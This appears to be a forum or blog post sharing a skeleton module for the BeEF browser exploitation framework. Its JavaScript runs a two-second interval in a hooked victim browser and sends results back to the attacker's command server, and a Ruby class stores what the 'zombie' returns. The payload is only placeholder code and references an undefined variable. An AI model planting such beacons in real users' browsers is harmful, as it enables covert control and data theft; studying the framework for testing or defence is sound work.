New setInterval for BeEF

command.js

//
// Copyright (c) 2006-2014 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
	window.setInterval(function() {
	  //perform task
	  //set something to var data
	  //Maybe test with a 
	  console.log('ping'); // to see if the interval kicks off in the hooked browser.
	  
	  //send results back
	  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+data);
	}, 2000);
});

config.yaml

#
# Copyright (c) 2006-2014 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
    module:
        custom_interval:
            enable: true
            category: "Misc"
            name: "Custom Interval"
            description: "Kick off a custom interval JS async func"
            authors: ["@xxdepardieuxx", "xntrik"]
            target:
                working: ['ALL']

module.rb

#
# Copyright (c) 2006-2014 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Custom_interval < BeEF::Core::Command
  
  #
  # This method is being called when a zombie sends some
  # data back to the framework.
  #
  def post_execute
    
    save({'result' => @datastore['result']})
  end
  
end